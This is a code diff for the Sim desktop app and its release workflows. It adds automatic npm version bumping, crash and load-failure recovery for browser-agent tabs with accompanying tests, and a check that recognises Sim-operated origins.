diff --git a/.github/workflows/publish-sim-cli.yml b/.github/workflows/publish-sim-cli.yml index f36e514ec69..95c74918a20 100644 --- a/.github/workflows/publish-sim-cli.yml +++ b/.github/workflows/publish-sim-cli.yml @@ -11,7 +11,7 @@ permissions: concurrency: group: publish-sim-cli-${{ github.ref }} - cancel-in-progress: true + cancel-in-progress: false jobs: publish-npm: @@ -50,6 +50,9 @@ jobs: NPM_CONFIG_TOKEN: ${{ secrets.NPM_TOKEN }} run: bun pm whoami + - name: Auto-bump package version + run: bun run bump:npm-packages sim-cli + - name: Run tests working-directory: packages/sim-cli run: bun run test @@ -115,20 +118,17 @@ jobs: tar -xzf "$PACKAGE_PATH" -C "$SMOKE_DIR" "$SMOKE_DIR/package/dist/index.js" --version - - name: Check if version already exists - id: version_check + - name: Verify version is unpublished working-directory: packages/sim-cli env: VERSION: ${{ steps.release.outputs.version }} run: | if bun pm view "sim@$VERSION" version > /dev/null 2>&1; then - echo "exists=true" >> "$GITHUB_OUTPUT" - else - echo "exists=false" >> "$GITHUB_OUTPUT" + echo "sim@$VERSION is already published. The automatic version bump did not produce a unique release." >&2 + exit 1 fi - name: Publish to npm - if: steps.version_check.outputs.exists == 'false' working-directory: packages/sim-cli env: NPM_CONFIG_TOKEN: ${{ secrets.NPM_TOKEN }} @@ -136,14 +136,7 @@ jobs: run: bun publish --access public --tag "$NPM_TAG" --no-save - name: Summarize release - if: steps.version_check.outputs.exists == 'false' env: VERSION: ${{ steps.release.outputs.version }} NPM_TAG: ${{ steps.release.outputs.tag }} run: echo "Published sim@$VERSION with the '$NPM_TAG' tag." - - - name: Summarize skipped release - if: steps.version_check.outputs.exists == 'true' - env: - VERSION: ${{ steps.release.outputs.version }} - run: echo "Skipped sim@$VERSION because that version is already published." diff --git a/.github/workflows/publish-sim-setup.yml b/.github/workflows/publish-sim-setup.yml index e8d9f181b19..0594dee14b6 100644 --- a/.github/workflows/publish-sim-setup.yml +++ b/.github/workflows/publish-sim-setup.yml @@ -55,6 +55,9 @@ jobs: NPM_CONFIG_TOKEN: ${{ secrets.NPM_TOKEN }} run: bun pm whoami + - name: Auto-bump package version + run: bun run bump:npm-packages sim-setup + - name: Check generated deployment config run: bun run deployment-config:check @@ -156,7 +159,7 @@ jobs: VERSION: ${{ steps.release.outputs.version }} run: | if bun pm view "sim-setup@$VERSION" version > /dev/null 2>&1; then - echo "sim-setup@$VERSION is already published. Bump packages/sim-setup/package.json before releasing another build." >&2 + echo "sim-setup@$VERSION is already published. The automatic version bump did not produce a unique release." >&2 exit 1 fi diff --git a/apps/desktop/e2e/smoke.spec.ts b/apps/desktop/e2e/smoke.spec.ts index 6e1277dbeb6..4bc71a1ee87 100644 --- a/apps/desktop/e2e/smoke.spec.ts +++ b/apps/desktop/e2e/smoke.spec.ts @@ -113,7 +113,15 @@ test.describe('desktop shell smoke', () => { await expect(window.locator('.wordmark')).toBeVisible() await expect(window.locator('.wordmark')).toHaveAttribute('aria-label', 'Sim') await expect(window.locator('#title')).toHaveText('Can’t connect to Sim') - await expect(window.locator('#status')).toHaveText('Check status') + // The recovery path for a self-hosted shell pointed at a server it cannot + // reach. Exercised end to end here because it is the only coverage of the + // `server:` local-page IPC gate: the bundled page reads the configuration + // over the real preload bridge, and status.sim.ai is withheld because this + // origin is not one of Sim's own. `toBeHidden` is load-bearing — the page's + // own `button { display: inline-flex }` outranks the UA `[hidden]` rule, so + // the attribute alone does not hide it. + await expect(window.locator('#server')).toBeVisible() + await expect(window.locator('#status')).toBeHidden() await expect .poll(() => window.evaluate(() => document.fonts.check('16px "Season Sans"'))) .toBe(true) diff --git a/apps/desktop/src/main/browser-agent/driver.test.ts b/apps/desktop/src/main/browser-agent/driver.test.ts index d63d828c324..f165bac475c 100644 --- a/apps/desktop/src/main/browser-agent/driver.test.ts +++ b/apps/desktop/src/main/browser-agent/driver.test.ts @@ -412,6 +412,59 @@ describe('executeTool', () => { ) }) + it('publishes main-frame load failures and retries their uncommitted URL', async () => { + const onPageState = vi.fn() + const win = new BrowserWindow() + driver.initDriver( + { + onPageState, + onTabsState: vi.fn(), + onSessionStatus: vi.fn(), + onFillAvailability: vi.fn(), + }, + () => win + ) + driver.activateBrowserScope('chat-test') + await driver.executeTool('chat-test', 'browser_open_tab', {}) + const contents = session.requireTab().view.webContents + const eventHandlers = (contents.on as unknown as ReturnType).mock.calls + const failLoad = eventHandlers.find(([eventName]) => eventName === 'did-fail-load')?.[1] as + | ((...args: unknown[]) => void) + | undefined + const failedUrl = 'http://localhost:3004/login' + + onPageState.mockClear() + failLoad?.({}, -102, 'ERR_CONNECTION_REFUSED', failedUrl, false) + failLoad?.({}, -3, 'ERR_ABORTED', failedUrl, true) + expect(onPageState).not.toHaveBeenCalled() + + failLoad?.({}, -102, 'ERR_CONNECTION_REFUSED', failedUrl, true) + + expect(onPageState).toHaveBeenLastCalledWith( + expect.objectContaining({ + url: failedUrl, + issue: { + kind: 'load-error', + code: -102, + description: 'ERR_CONNECTION_REFUSED', + url: failedUrl, + }, + }) + ) + + vi.mocked(contents.loadURL).mockClear() + await driver.handlePanelAction('chat-test', { action: 'reload' }) + expect(contents.loadURL).toHaveBeenCalledWith(failedUrl) + + vi.mocked(contents.loadURL).mockClear() + await driver.executeTool('chat-test', 'browser_go_back', {}) + expect(session.pageIssueForContents(contents)).toBeUndefined() + expect(session.canGoForward(contents)).toBe(true) + + await driver.executeTool('chat-test', 'browser_go_forward', {}) + expect(contents.loadURL).toHaveBeenCalledWith(failedUrl) + }) + it('forces fill availability to replay on scope activation and tab switches', async () => { const refreshAvailability = vi .spyOn(fillCoordinator()!, 'refreshAvailability') diff --git a/apps/desktop/src/main/browser-agent/driver.ts b/apps/desktop/src/main/browser-agent/driver.ts index 371a1b78a8e..4964ec01691 100644 --- a/apps/desktop/src/main/browser-agent/driver.ts +++ b/apps/desktop/src/main/browser-agent/driver.ts @@ -264,14 +264,16 @@ function recordNotice(notice: string): void { * navigations and tab switches. */ function pageStateFor(contents: WebContents, tabId: string): BrowserPageState { + const issue = session.pageIssueForContents(contents) return { scopeId: session.getBrowserScopeId(), tabId, - url: contents.getURL(), - title: contents.getTitle(), - loading: contents.isLoadingMainFrame(), - canGoBack: contents.navigationHistory.canGoBack(), - canGoForward: contents.navigationHistory.canGoForward(), + url: issue?.url ?? contents.getURL(), + title: issue?.kind === 'load-error' ? '' : contents.getTitle(), + loading: issue ? false : contents.isLoadingMainFrame(), + canGoBack: session.canGoBack(contents), + canGoForward: session.canGoForward(contents), + ...(issue ? { issue } : {}), } } @@ -346,6 +348,18 @@ function instrumentTab(contents: WebContents): void { pushTabsState() }) ) + contents.on( + 'did-fail-load', + inScope((_event, errorCode, errorDescription, validatedURL, isMainFrame) => { + if (!isMainFrame || errorCode === 0 || errorCode === -3) return + session.recordPageLoadFailure(contents, { + kind: 'load-error', + code: errorCode, + description: errorDescription, + url: validatedURL || contents.getURL(), + }) + }) + ) contents.on( 'did-frame-navigate', inScope( @@ -364,7 +378,6 @@ function instrumentTab(contents: WebContents): void { for (const event of [ 'did-navigate-in-page', 'page-title-updated', - 'did-start-loading', 'did-finish-load', 'did-stop-loading', ] as const) { @@ -376,6 +389,14 @@ function instrumentTab(contents: WebContents): void { }) ) } + contents.on( + 'did-start-loading', + inScope(() => { + session.notePageLoadStarted(contents) + pushPageState(contents) + pushTabsState() + }) + ) driverCallbacks?.onSessionStatus(true, scopeId) } @@ -435,6 +456,7 @@ export function initDriver( // The fill affordance belongs to whichever page is in front. void fillCoordinator()?.refreshAvailability(true) }, + onPageStateChanged: pushPageState, onTabsChanged: pushTabsState, onTabThemeChanged: (contents, theme) => { void cdp.setColorScheme(contents, theme).catch((error) => { @@ -1963,19 +1985,20 @@ async function executeToolInner( case 'browser_go_forward': { invalidateSnapshot() const contents = session.requireAutomationTab().view.webContents - const history = contents.navigationHistory assertCurrentExecution() let completion: Promise if (tool === 'browser_go_back') { - if (!history.canGoBack()) throw new ToolError('Cannot go back — no earlier history entry.') + if (!session.canGoBack(contents)) { + throw new ToolError('Cannot go back — no earlier history entry.') + } completion = waitForLoadComplete(contents, NAVIGATION_TIMEOUT_MS) - history.goBack() + session.goBack(contents) } else { - if (!history.canGoForward()) { + if (!session.canGoForward(contents)) { throw new ToolError('Cannot go forward — no later history entry.') } completion = waitForLoadComplete(contents, NAVIGATION_TIMEOUT_MS) - history.goForward() + session.goForward(contents) } return await navigationResult(contents, completion) } @@ -3814,13 +3837,13 @@ export async function handlePanelAction( const contents = tab.view.webContents switch (action.action) { case 'reload': - contents.reload() + session.reloadPage(contents) return case 'back': - if (contents.navigationHistory.canGoBack()) contents.navigationHistory.goBack() + session.goBack(contents) return case 'forward': - if (contents.navigationHistory.canGoForward()) contents.navigationHistory.goForward() + session.goForward(contents) return case 'print': contents.print({ printBackground: true }) diff --git a/apps/desktop/src/main/browser-agent/session.test.ts b/apps/desktop/src/main/browser-agent/session.test.ts index 68152b337b5..c11989dc788 100644 --- a/apps/desktop/src/main/browser-agent/session.test.ts +++ b/apps/desktop/src/main/browser-agent/session.test.ts @@ -1,7 +1,7 @@ import { mkdtempSync, writeFileSync } from 'node:fs' import { tmpdir } from 'node:os' import { join } from 'node:path' -import type { MenuItemConstructorOptions } from 'electron' +import type { MenuItemConstructorOptions, WebContents } from 'electron' import { beforeEach, describe, expect, it, vi } from 'vitest' vi.mock('electron', () => import('@/test/electron-mock')) @@ -25,6 +25,7 @@ interface MockView { setWindowOpenHandler: ReturnType loadURL: ReturnType reload: ReturnType + forcefullyCrashRenderer: ReturnType getURL: ReturnType getTitle: ReturnType close: ReturnType @@ -40,6 +41,13 @@ interface MockView { capturePage: ReturnType findInPage: ReturnType stopFindInPage: ReturnType + navigationHistory: { + canGoBack: ReturnType + canGoForward: ReturnType + getActiveIndex: ReturnType + goBack: ReturnType + goForward: ReturnType + } } setBackgroundColor: ReturnType setBounds: ReturnType @@ -77,6 +85,7 @@ function freshSession( onSessionClosed: vi.fn(), onTabCreated: vi.fn(), onActiveTabChanged: vi.fn(), + onPageStateChanged: vi.fn(), onTabsChanged: vi.fn(), onTabThemeChanged: vi.fn(), onTabNavigated: vi.fn(), @@ -125,6 +134,17 @@ function hostResizeHandler(win: BrowserWindow): () => void { return handler as () => void } +function mainFrameNavigationStarted( + contents: MockView['webContents'], + isSameDocument = false +): void { + const handler = contents.on.mock.calls + .filter(([eventName]) => eventName === 'did-start-navigation') + .at(-1)?.[1] + if (typeof handler !== 'function') throw new Error('no navigation-start listener bound') + handler({ isMainFrame: true, isSameDocument }) +} + describe('browser-agent session', () => { let win: BrowserWindow let session: SessionModule @@ -244,7 +264,12 @@ describe('browser-agent session', () => { )?.[1] as ((event: unknown, details: { reason: string }) => void) | undefined renderGone?.({}, { reason: 'crashed' }) - expect(session.withBrowserScope('chat-a', () => session.listTabs())).toEqual([]) + expect(session.withBrowserScope('chat-a', () => session.listTabs())).toEqual([ + expect.objectContaining({ + tabId: first.id, + issue: expect.objectContaining({ kind: 'crashed', reason: 'crashed' }), + }), + ]) expect(session.withBrowserScope('chat-b', () => session.listTabs())).toHaveLength(1) }) @@ -852,6 +877,150 @@ describe('browser-agent session', () => { expect(win.webContents.send).toHaveBeenCalledWith('browser-agent:close-find', 'chat-test') }) + it('treats a failed navigation as a synthetic Back and Forward history entry', async () => { + const mockContents = (session.ensureTab().view as unknown as MockView).webContents + const contents = mockContents as unknown as WebContents + mockContents.getURL.mockReturnValue('https://example.com/committed') + mockContents.navigationHistory.getActiveIndex.mockReturnValue(3) + session.recordPageLoadFailure(contents, { + kind: 'load-error', + code: -102, + description: 'ERR_CONNECTION_REFUSED', + url: 'https://example.com/failed', + }) + + expect(session.canGoBack(contents)).toBe(true) + expect(session.listTabs()[0]).toMatchObject({ + url: 'https://example.com/failed', + issue: { kind: 'load-error' }, + }) + + expect(session.goBack(contents)).toBe(true) + expect(session.listTabs()[0]).toMatchObject({ url: 'https://example.com/committed' }) + expect(session.listTabs()[0]).not.toHaveProperty('issue') + expect(session.canGoForward(contents)).toBe(true) + + mockContents.navigationHistory.getActiveIndex.mockReturnValue(2) + mockContents.navigationHistory.canGoForward.mockReturnValue(true) + expect(session.goForward(contents)).toBe(true) + expect(mockContents.navigationHistory.goForward).toHaveBeenCalledTimes(1) + mainFrameNavigationStarted(mockContents) + + mockContents.navigationHistory.getActiveIndex.mockReturnValue(3) + expect(session.goForward(contents)).toBe(true) + expect(mockContents.loadURL).toHaveBeenCalledWith('https://example.com/failed') + }) + + it('discards a dismissed failed navigation when a fresh navigation starts', () => { + const mockContents = (session.ensureTab().view as unknown as MockView).webContents + const contents = mockContents as unknown as WebContents + session.recordPageLoadFailure(contents, { + kind: 'load-error', + code: -105, + description: 'ERR_NAME_NOT_RESOLVED', + url: 'https://missing.invalid', + }) + session.goBack(contents) + + mainFrameNavigationStarted(mockContents) + + expect(session.canGoForward(contents)).toBe(false) + }) + + it('discards synthetic Forward after same-document traversal and a fresh navigation', () => { + const mockContents = (session.ensureTab().view as unknown as MockView).webContents + const contents = mockContents as unknown as WebContents + mockContents.navigationHistory.getActiveIndex.mockReturnValue(3) + session.recordPageLoadFailure(contents, { + kind: 'load-error', + code: -102, + description: 'ERR_CONNECTION_REFUSED', + url: 'https://example.com/failed', + }) + + session.goBack(contents) + mockContents.navigationHistory.canGoBack.mockReturnValue(true) + expect(session.goBack(contents)).toBe(true) + + mainFrameNavigationStarted(mockContents, true) + + expect(session.canGoForward(contents)).toBe(true) + + mainFrameNavigationStarted(mockContents) + + expect(session.canGoForward(contents)).toBe(false) + }) + + it('keeps recovery state scoped to its tab while the user switches tabs', () => { + const first = session.ensureTab() + const second = session.addTab() + const firstContents = (first.view as unknown as MockView).webContents as unknown as WebContents + session.recordPageLoadFailure(firstContents, { + kind: 'load-error', + code: -105, + description: 'ERR_NAME_NOT_RESOLVED', + url: 'https://missing.invalid', + }) + + session.switchTab(second.id) + expect(session.listTabs().find((tab) => tab.tabId === first.id)?.issue).toMatchObject({ + kind: 'load-error', + }) + expect(session.listTabs().find((tab) => tab.tabId === second.id)).not.toHaveProperty('issue') + + session.switchTab(first.id) + expect(session.requireTab().id).toBe(first.id) + expect(session.pageIssueForContents(firstContents)).toMatchObject({ kind: 'load-error' }) + }) + + it('hands focus to an accessible recovery page for active-tab failures', () => { + panel.setPanelBounds({ x: 100, y: 50, width: 800, height: 600 }) + const onPageStateChanged = vi.fn() + session = freshSession(win, { onPageStateChanged }) + panel.setPanelBounds({ x: 100, y: 50, width: 800, height: 600 }) + const mockContents = (session.ensureTab().view as unknown as MockView).webContents + const contents = mockContents as unknown as WebContents + + session.recordPageLoadFailure(contents, { + kind: 'load-error', + code: -7, + description: 'ERR_TIMED_OUT', + url: 'https://slow.example.com', + }) + + expect(win.webContents.focus).toHaveBeenCalled() + expect(onPageStateChanged).toHaveBeenCalledWith(contents) + }) + + it('recovers unresponsive tabs and clears the issue when Chromium responds again', () => { + const mockContents = (session.ensureTab().view as unknown as MockView).webContents + const contents = mockContents as unknown as WebContents + mockContents.getURL.mockReturnValue('https://example.com') + const unresponsive = mockContents.on.mock.calls.find( + ([eventName]) => eventName === 'unresponsive' + )?.[1] as (() => void) | undefined + const responsive = mockContents.on.mock.calls.find( + ([eventName]) => eventName === 'responsive' + )?.[1] as (() => void) | undefined + const gone = mockContents.on.mock.calls.find( + ([eventName]) => eventName === 'render-process-gone' + )?.[1] as ((event: unknown, details: { reason: string }) => void) | undefined + + unresponsive?.() + expect(session.pageIssueForContents(contents)).toEqual({ + kind: 'unresponsive', + url: 'https://example.com', + }) + responsive?.() + expect(session.pageIssueForContents(contents)).toBeUndefined() + + unresponsive?.() + session.reloadPage(contents) + expect(mockContents.forcefullyCrashRenderer).toHaveBeenCalled() + gone?.({}, { reason: 'killed' }) + expect(mockContents.reload).toHaveBeenCalled() + }) + it('drops the find when the user switches to another tab', () => { panel.setPanelBounds({ x: 100, y: 50, width: 800, height: 600 }) const first = session.requireTab() @@ -1888,7 +2057,7 @@ describe('browser-agent session', () => { ) }) - it('drops a tab whose renderer crashed instead of wedging the session', () => { + it('keeps a crashed tab recoverable without disturbing sibling tabs', () => { const first = session.ensureTab() const second = session.addTab() const crashed = (second.view as unknown as MockView).webContents @@ -1898,14 +2067,17 @@ describe('browser-agent session', () => { onGone({}, { reason: 'crashed' }) - // Left in place, activeTab() filters the dead view out while activeTabId - // still names it, so requireTab() reports "no page is open" even though - // another tab is right there. - expect(session.listTabs().map((tab) => tab.tabId)).toEqual([first.id]) - expect(session.requireTab().id).toBe(first.id) + expect(session.listTabs()).toEqual([ + expect.objectContaining({ tabId: first.id }), + expect.objectContaining({ + tabId: second.id, + issue: expect.objectContaining({ kind: 'crashed', reason: 'crashed' }), + }), + ]) + expect(session.requireTab().id).toBe(second.id) }) - it('reports the session closed when the only tab crashes', async () => { + it('keeps the only crashed tab open for recovery', async () => { const onSessionClosed = vi.fn() session = freshSession(win, { onSessionClosed }) const contents = (session.ensureTab().view as unknown as MockView).webContents @@ -1915,8 +2087,12 @@ describe('browser-agent session', () => { onGone({}, { reason: 'oom' }) - expect(session.listTabs()).toHaveLength(0) - expect(onSessionClosed).toHaveBeenCalled() + expect(session.listTabs()).toEqual([ + expect.objectContaining({ + issue: expect.objectContaining({ kind: 'crashed', reason: 'oom' }), + }), + ]) + expect(onSessionClosed).not.toHaveBeenCalled() }) it('hides the panel when the renderer stops renewing its bounds lease', async () => { diff --git a/apps/desktop/src/main/browser-agent/session.ts b/apps/desktop/src/main/browser-agent/session.ts index 08f91419f96..bd13b9de908 100644 --- a/apps/desktop/src/main/browser-agent/session.ts +++ b/apps/desktop/src/main/browser-agent/session.ts @@ -6,6 +6,7 @@ import type { BrowserFindRequest, BrowserFindResult, BrowserOmniboxFocusMode, + BrowserPageIssue, BrowserTabState, BrowserTabsState, BrowserTheme, @@ -86,6 +87,10 @@ export interface AgentTab { view: WebContentsView pinned: boolean pendingRestoreUrl?: string + pageIssue?: BrowserPageIssue + syntheticForward?: { url: string; baseHistoryIndex: number } + preserveSyntheticForwardOnNextNavigation?: boolean + recoveringUnresponsive?: boolean } export interface BrowserSessionPersistence { @@ -116,6 +121,8 @@ export interface AgentSessionEvents { onTabClosed: (contents: WebContents) => void /** The active tab changed (new tab, switch, close). */ onActiveTabChanged: (contents: WebContents) => void + /** The active tab's recoverable page state changed without a navigation. */ + onPageStateChanged: (contents: WebContents) => void /** The tab list or active tab changed. */ onTabsChanged: () => void /** Sim's appearance preference changed for an existing tab. */ @@ -1005,6 +1012,128 @@ function focusRendererOmnibox(mode: BrowserOmniboxFocusMode): void { win.webContents.send('browser-agent:focus-omnibox', mode, getBrowserScopeId()) } +function tabForContents(contents: WebContents): AgentTab | null { + return tabs.find((tab) => tab.view.webContents === contents) ?? null +} + +function publishPageIssue(tab: AgentTab, focusRecovery = false): void { + events?.onTabsChanged() + if (tab.id !== currentScope.activeTabId) return + if (focusRecovery && getBrowserScopeId() === getActiveBrowserScopeId() && isPanelVisible()) { + const win = panelWindow() + if (win && !win.isDestroyed()) win.webContents.focus() + } + events?.onPageStateChanged(tab.view.webContents) +} + +/** Returns the recoverable problem currently replacing a tab's native page. */ +export function pageIssueForContents(contents: WebContents): BrowserPageIssue | undefined { + return tabForContents(contents)?.pageIssue +} + +/** Records a failed main-frame navigation without losing the last committed page. */ +export function recordPageLoadFailure( + contents: WebContents, + issue: Extract +): void { + const tab = tabForContents(contents) + if (!tab) return + tab.pageIssue = issue + tab.syntheticForward = undefined + publishPageIssue(tab, true) +} + +/** Clears transient recovery state when Chromium begins loading a new document. */ +export function notePageLoadStarted(contents: WebContents): void { + const tab = tabForContents(contents) + if (!tab) return + const changed = Boolean(tab.pageIssue) + tab.pageIssue = undefined + if (changed) publishPageIssue(tab) +} + +function notePageNavigationStarted(contents: WebContents): void { + const tab = tabForContents(contents) + if (!tab) return + if (tab.preserveSyntheticForwardOnNextNavigation) { + tab.preserveSyntheticForwardOnNextNavigation = false + } else { + tab.syntheticForward = undefined + } +} + +/** Includes Sim's failed-navigation entry in the browser's Back availability. */ +export function canGoBack(contents: WebContents): boolean { + return ( + pageIssueForContents(contents)?.kind === 'load-error' || contents.navigationHistory.canGoBack() + ) +} + +/** Includes a dismissed failed navigation in the browser's Forward availability. */ +export function canGoForward(contents: WebContents): boolean { + return ( + Boolean(tabForContents(contents)?.syntheticForward) || contents.navigationHistory.canGoForward() + ) +} + +/** Traverses backward while preserving a failed navigation as a forward entry. */ +export function goBack(contents: WebContents): boolean { + const tab = tabForContents(contents) + if (!tab) return false + if (tab.pageIssue?.kind === 'load-error') { + tab.syntheticForward = { + url: tab.pageIssue.url, + baseHistoryIndex: contents.navigationHistory.getActiveIndex(), + } + tab.pageIssue = undefined + publishPageIssue(tab) + return true + } + if (!contents.navigationHistory.canGoBack()) return false + tab.preserveSyntheticForwardOnNextNavigation = Boolean(tab.syntheticForward) + contents.navigationHistory.goBack() + return true +} + +/** Traverses forward through native history before retrying a failed navigation. */ +export function goForward(contents: WebContents): boolean { + const tab = tabForContents(contents) + if (!tab) return false + const syntheticForward = tab.syntheticForward + if (syntheticForward) { + if ( + contents.navigationHistory.getActiveIndex() < syntheticForward.baseHistoryIndex && + contents.navigationHistory.canGoForward() + ) { + tab.preserveSyntheticForwardOnNextNavigation = true + contents.navigationHistory.goForward() + return true + } + tab.syntheticForward = undefined + void contents.loadURL(syntheticForward.url).catch(() => {}) + return true + } + if (!contents.navigationHistory.canGoForward()) return false + contents.navigationHistory.goForward() + return true +} + +/** Retries the appropriate recovery path for a failed, crashed, or hung page. */ +export function reloadPage(contents: WebContents): void { + const tab = tabForContents(contents) + const issue = tab?.pageIssue + if (issue?.kind === 'load-error') { + void contents.loadURL(issue.url).catch(() => {}) + return + } + if (issue?.kind === 'unresponsive' && tab) { + tab.recoveringUnresponsive = true + contents.forcefullyCrashRenderer() + return + } + contents.reload() +} + /** Hands one page selection to the exact app window and chat hosting its tab. */ function addPageSelectionToChat(contents: WebContents, text: string): void { if (!text.trim() || getBrowserScopeId() !== getActiveBrowserScopeId()) return @@ -1245,17 +1374,47 @@ function createTabView(): WebContentsView { contents.on('will-prevent-unload', (event) => { event.preventDefault() }) - // A crashed renderer would otherwise stay in `tabs` forever: `activeTab()` - // filters it out and returns null while `activeTabId` still names it, so - // `requireTab()` reports "no page is open" even with other tabs open, and - // the panel goes blank with no way back. contents.on( 'render-process-gone', bindToBrowserScope(scopeId, (_event, details) => { const tab = tabs.find((entry) => entry.view === view) if (!tab) return - logger.warn('Browser tab renderer exited; dropping the tab', { reason: details.reason }) - forgetTab(tab) + if (tab.recoveringUnresponsive) { + tab.recoveringUnresponsive = false + contents.reload() + return + } + dismissFind(tab.id) + tab.pageIssue = { + kind: 'crashed', + reason: details.reason, + url: tab.pendingRestoreUrl || contents.getURL(), + } + tab.syntheticForward = undefined + logger.warn('Browser tab renderer exited', { reason: details.reason }) + publishPageIssue(tab, true) + }) + ) + contents.on( + 'unresponsive', + bindToBrowserScope(scopeId, () => { + const tab = tabs.find((entry) => entry.view === view) + if (!tab || tab.pageIssue?.kind === 'crashed') return + dismissFind(tab.id) + tab.pageIssue = { + kind: 'unresponsive', + url: tab.pendingRestoreUrl || contents.getURL(), + } + publishPageIssue(tab, true) + }) + ) + contents.on( + 'responsive', + bindToBrowserScope(scopeId, () => { + const tab = tabs.find((entry) => entry.view === view) + if (!tab || tab.pageIssue?.kind !== 'unresponsive') return + tab.pageIssue = undefined + publishPageIssue(tab) }) ) contents.on( @@ -1344,6 +1503,7 @@ function createTabView(): WebContentsView { 'did-start-navigation', bindToBrowserScope(scopeId, (details) => { if (!details.isMainFrame) return + notePageNavigationStarted(contents) events?.onTabNavigated(contents, false) }) ) @@ -1795,49 +1955,6 @@ export function reorderTab(tabId: string, targetIndex: number): AgentTab { return tab } -/** - * Drops a tab whose renderer is already gone. Unlike {@link closeTab} this - * takes no view down (there is nothing left to close), applies to pinned tabs - * too — a crashed pinned tab is no more usable than any other — and does not - * offer the page for Reopen Closed Tab, since the user did not close it. - */ -function forgetTab(tab: AgentTab): void { - const index = tabs.indexOf(tab) - if (index < 0) return - // Before the splice, while the tab is still resolvable: a find left running - // on a tab that is going away keeps `findingTabId` naming a dead tab and - // leaves the bar open counting matches on a page nobody can see. - dismissFind(tab.id) - clearAutomationIndicatorsForTab(tab.id) - tabs.splice(index, 1) - const transferBrowserFocus = currentScope.focusedBrowserTabId === tab.id - clearFocusedBrowserTab(tab.id) - detachIfAttached(tab.view) - if (currentScope.activeTabId === tab.id) { - currentScope.activeTabId = (tabs[index] ?? tabs[index - 1])?.id ?? null - layout() - const active = activeTab() - if (active) { - events?.onActiveTabChanged(active.view.webContents) - } - } - if (currentScope.automationTabId === tab.id) { - currentScope.automationTabId = (tabs[index] ?? tabs[index - 1])?.id ?? null - applyActiveTabThrottling() - } - if (!hasSession() && getBrowserScopeId() === getActiveBrowserScopeId() && isPanelVisible()) { - addTab() - if (transferBrowserFocus) currentScope.focusedBrowserTabId = currentScope.activeTabId - return - } - if (transferBrowserFocus) currentScope.focusedBrowserTabId = currentScope.activeTabId - persistBrowserSession() - events?.onTabsChanged() - if (!hasSession()) { - events?.onSessionClosed() - } -} - export function closeTab(tabId: string): void { restoreBrowserSession() const index = tabs.findIndex((entry) => entry.id === tabId) @@ -1845,7 +1962,7 @@ export function closeTab(tabId: string): void { if (tabs[index].pinned) { throw new SessionError('Pinned tabs cannot be closed. Unpin the tab first.') } - // Before the splice, while the tab is still resolvable — see forgetTab. + // Before the splice, while the tab is still resolvable, stop page-owned UI. dismissFind(tabId) clearAutomationIndicatorsForTab(tabId) const [tab] = tabs.splice(index, 1) @@ -2212,14 +2329,18 @@ export async function clearAgentData(kinds: readonly BrowserDataKind[]): Promise export function listTabs(): BrowserTabState[] { return tabs .filter((tab) => !tab.view.webContents.isDestroyed()) - .map((tab) => ({ - tabId: tab.id, - title: tab.view.webContents.getTitle(), - url: tab.pendingRestoreUrl || tab.view.webContents.getURL(), - loading: tab.view.webContents.isLoadingMainFrame(), - active: tab.id === currentScope.activeTabId, - pinned: tab.pinned, - })) + .map((tab) => { + const issue = tab.pageIssue + return { + tabId: tab.id, + title: issue?.kind === 'load-error' ? '' : tab.view.webContents.getTitle(), + url: issue?.url || tab.pendingRestoreUrl || tab.view.webContents.getURL(), + loading: issue ? false : tab.view.webContents.isLoadingMainFrame(), + active: tab.id === currentScope.activeTabId, + pinned: tab.pinned, + ...(issue ? { issue } : {}), + } + }) } export function getTabsState(): BrowserTabsState { diff --git a/apps/desktop/src/main/config.test.ts b/apps/desktop/src/main/config.test.ts index fefba510536..ed60924a261 100644 --- a/apps/desktop/src/main/config.test.ts +++ b/apps/desktop/src/main/config.test.ts @@ -9,6 +9,7 @@ import { createConfigStore, DEFAULT_ORIGIN, isSafeInternalPath, + isSimCloudOrigin, partitionForOrigin, validateOriginInput, } from '@/main/config' @@ -145,6 +146,26 @@ describe('createConfigStore', () => { expect(reloaded.getOrigin()).toBe('https://self-hosted.example') }) + // setOrigin writes the whole settings file synchronously on the main thread, + // and re-confirming the URL already in the field is the common case in the + // server picker. + it('does not rewrite settings when setOrigin is given the stored origin', () => { + const filePath = tempSettingsPath() + const store = createConfigStore(filePath, {}) + store.setOrigin('https://self-hosted.example') + // A sentinel only this test could have written. A rewrite serializes the + // in-memory settings over it, so its survival proves no write happened — + // unlike an mtime comparison, which two writes a fraction of a millisecond + // apart can pass by accident. + writeFileSync(filePath, `${readFileSync(filePath, 'utf8')}\n// sentinel\n`) + + expect(store.setOrigin('https://self-hosted.example')).toEqual({ + ok: true, + origin: 'https://self-hosted.example', + }) + expect(readFileSync(filePath, 'utf8')).toContain('// sentinel') + }) + it('canonicalizes the apex production origin on setOrigin, not just on load', () => { // Entering https://sim.ai mid-session must not persist the apex: the // running session would use the wrong cookie partition and misclassify @@ -223,6 +244,25 @@ describe('createConfigStore', () => { }) }) +describe('isSimCloudOrigin', () => { + it('recognizes Sim-operated origins and nothing else', () => { + for (const origin of ['https://sim.ai', 'https://www.sim.ai', 'https://www.staging.sim.ai']) { + expect(isSimCloudOrigin(origin)).toBe(true) + } + // A lookalike host must not pass — the suffix check is on the parsed + // hostname, never a prefix or substring of the raw string. + for (const origin of [ + 'https://sim.example.com', + 'https://sim.ai.evil.example', + 'https://notsim.ai', + 'http://localhost:3000', + 'not a url', + ]) { + expect(isSimCloudOrigin(origin)).toBe(false) + } + }) +}) + describe('channelForOrigin', () => { it('maps each environment origin to its channel', () => { expect(channelForOrigin('https://sim.ai')).toBe('prod') diff --git a/apps/desktop/src/main/config.ts b/apps/desktop/src/main/config.ts index 654fbacfa35..14ce4b00f8d 100644 --- a/apps/desktop/src/main/config.ts +++ b/apps/desktop/src/main/config.ts @@ -179,6 +179,22 @@ export function canonicalOrigin(origin: string): string { return ORIGIN_REWRITES[origin] ?? origin } +/** + * Whether an origin is one of Sim's own deployments rather than a self-hosted + * one. Sim-operated resources — the public status page above all — describe + * only these, so a shell pointed elsewhere must not be offered them: telling a + * self-hoster whose server is down to consult a page that is always green + * sends the person who most needs an answer to the one place that has none. + */ +export function isSimCloudOrigin(origin: string): boolean { + try { + const host = new URL(origin).hostname.toLowerCase() + return host === 'sim.ai' || host.endsWith('.sim.ai') + } catch { + return false + } +} + /** * Maps a server origin to its cookie/storage partition. Each origin gets an * isolated persistent partition so sessions never leak across instances. @@ -339,6 +355,12 @@ export function createConfigStore( // only repairs it on the next launch. The canonical origin is also // returned so the caller sees what was actually stored. const origin = canonicalOrigin(validated.origin) + // Re-confirming the origin already stored is the common case in the + // server picker, and setOrigin's write is a synchronous mkdir + whole-file + // write + rename on the main thread. There is nothing 